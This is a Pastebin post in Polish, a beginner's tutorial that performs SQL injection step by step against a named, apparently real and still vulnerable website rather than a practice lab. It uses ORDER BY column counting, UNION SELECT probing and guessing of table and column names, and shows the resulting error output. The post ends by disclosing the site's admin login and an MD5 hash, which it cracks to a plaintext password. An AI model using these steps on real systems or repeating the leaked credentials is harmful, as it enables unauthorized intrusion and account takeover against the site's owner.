Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Powiecie pewnie że tutoriali tego typu jest w necie tysiące. Macie racje,
- jednak wszystkie podają suche przykłady a ja pokaże wam, dzięki uprzejmości JanuszChrystus, działanie na konkretnej istniejącej stronie na co w innych tutorialach nie można liczyć.
- Tutorial jest przeznaczony dla najbardziej początkujących. Pozwala przejść całą ścieżkę SQLi i poćwiczyć różne kombinacje. Ma na celu poznanie podstaw działania rozpocząć zbieranie wiedzy by uniknąć w przyszłości pytań "kliknąłem w mój H@x0r tool SQLi i nie działa..."
- SQL Injection (dosłownie wstrzykiwanie zapytań SQL) to dziura w zabezpieczeniu kodu programu polegająca na braku całości lub części filtrowania danych przesyłanych w postaci zapytań SQL do bazy danych. Najczęściej występuje w systemach składających się ze skryptu/programu (przykładowo PHP) generującego zapytanie do bazy danych (MySQL, PostgreSQL itp.) na podstawie podanych przez użytkownika danych. Podobno luka SQLi to brak wiedzy i doświadczenia autora danego kodu.
- Dziś weźmiemy na warsztat nic nie znaczącą stronkę
- http://szykielegancja.hord.pl/
- która to stronka ma jedną zaletę - wciąż ma lukę i pewnie będzie ją miała długo co pozwoli nam potrenować działanie SQLi w praktyce.
- Wszystkie poniższe działania robimy ręcznie w celach edukacyjnych pamiętając o zabezpieczeniu własnych 4 liter.
- 1. Szukamy podatnego elementu.
- Spokojnie klikamy sobie na stronie - nie jest ogromnie rozbudowana i patrzymy co pokazuje się pod postacią linków oraz w adresie.
- Interesują nas na początek opcje gdzie kod strony wysyła zapytania parametryczne do bazy SQL. Np.
- http://szykielegancja.hord.pl/index.php?costam=parametr
- Pierwszy z brzegu przykład: http://szykielegancja.hord.pl/index.php?id=404
- Widoczna część strony generowana jest na podstawie informacji zawartych w bazie SQL. Skrypt wyświetla nam zawartość wg jednego kryterium - parametru id o wartości w tym wypadku 404.
- Zmieniając parametr na kolejne wartości zauważyć możemy iż zmieniając go na np 405 otrzymamy kolejną podstronę: http://szykielegancja.hord.pl/index.php?id=405
- Teraz sprawdzamy podatność - czy autor strony wykonał należycie filtrowanie wartości przed przekazaniem jej do zapytania SQL.
- Zamiast 405 wpiszemy sobie coś innego np. -9999 lub ' lub " lub 5804395840 i patrzymy co się stanie.
- http://szykielegancja.hord.pl/index.php?id=-9999
- i od razu posypały się błędy:
- Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 27
- Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 28
- Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 33
- Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 34
- Najwyraźniej nasz programista nie był zbyt staranny lub po prostu dopiero się uczy.
- Sprawdźmy teraz ile tabel liczy sobie nasza baza. W tym celu posłużymy się komendą order by podając prawidłową wartość id (np. 405).
- Można zamienię używać union ale order by ma ta zaletę że dopiero wystąpienie błędu wskaże nam ilość tabel.
- http://szykielegancja.hord.pl/index.php … der+by+2--
- strona wczytała się jak gdyby nigdy nic, więc spokojnie zwiększamy parametr.
- http://szykielegancja.hord.pl/index.php … der+by+3--
- dalej nic, więc kolejno 4,5,6,7,.... i nagle przy wartości 16 mamy znów nasz błąd:
- http://szykielegancja.hord.pl/index.php … er+by+16--
- Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 13
- Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 27
- Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 28
- Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 33
- Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 34
- Wystąpienie błędu przy wartości 16 wskazuje nam iż w bazie jest 15 tabel.
- Teraz musimy odnaleźć kolumnę do której będziemy wprowadzać nasze "zastrzyki".
- Zrobimy to za pomocą komendy union select.
- Jako parametr id podajemy dowolną wartość błędną np. użyte poprzednio -9999.
- http://szykielegancja.hord.pl/index.php … 13,14,15--
- Strona oprócz stałej treści zamiast oczekiwanego obrazka czy błędu zwróciła nam numery podatnych kolumn: 3 i 8.
- Zobaczmy teraz z jaką bazą mamy do czynienia. W tym celu zamiast "3" wpiszemy sobie komendę Version()
- http://szykielegancja.hord.pl/index.php … 13,14,15--
- Strona oświadcza nam iż wersja bazy to 5.1.59. To dobra wiadomość bo począwszy od wersji 5 nie trzeba zgadywać nazw komun i tablic.
- Ale ponieważ tu chodzi o ćwiczenie pójdziemy starą, trudniejszą drogą działającą też w starszych wersjach baz - zgadujemy.
- Musimy odnaleźć nazwę tablicy gdzie trzymane są interesujące nas dane - login i hasło admina.
- Najczęściej występujące nazwy to Users, User, Uzytkownik, Accounts
- Sprawdźmy po kolei najpierw users:
- http://szykielegancja.hord.pl/index.php … %20users--
- wywala błąd, następnie user
- http://szykielegancja.hord.pl/index.php … m%20user--
- wyskoczyły znajome cyferki 3 i 8. Oznacza to że zapytanie wykonało się bez błędu - istnieje tablica user.
- Teraz czas poszukać nazw kolumn w tablicy. W zasadzie interesują nas tylko 2 - użytkownik i hasło.
- Mogą nazywać się: username, name, user, login, id itp. zaś te od hasła: password, pass, hasło, secret itp.
- Sprawdźmy najpierw jak nazywa się kolumna zawierająca username admina, w tym celu zamiast 3 wpiszemy sobie oczekiwaną nazwę, zacznijmy od username:
- http://szykielegancja.hord.pl/index.php … m%20user--
- niestety bład, teraz name
- http://szykielegancja.hord.pl/index.php … m%20user--
- tak samo, kolejno błąd przy user, ale przy login:
- http://szykielegancja.hord.pl/index.php … m%20user--
- strona zwróciła nam "szyk"
- wiemy już że dane admina są w tablicy user, username jest w kolumnie login i nazywa się "szyk" brakuje nam tylko hasła.
- Poszukajmy więc kolumny z hasłem. Zaczynamy od najprostszego password.
- http://szykielegancja.hord.pl/index.php … m%20user--
- i pudło, teraz pass:
- http://szykielegancja.hord.pl/index.php … m%20user--
- i jest: 0cd954ec409815c10b16815a3d189d3f
- Hasło zabezpieczone jest md5, musimy je teraz tylko złamać.
- W tym celu najpierw wrzucamy je w pierwszy z brzegu dekoder online:
- http://md5.my-addr.com/md5_decrypt-md5_ … r_tool.php
- I tym razem mamy szczęście bo hasło wyskakuje od razu: elegantka
- Cel osiągnięty - dysponujemy już nazwą i hasłem admina cms.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement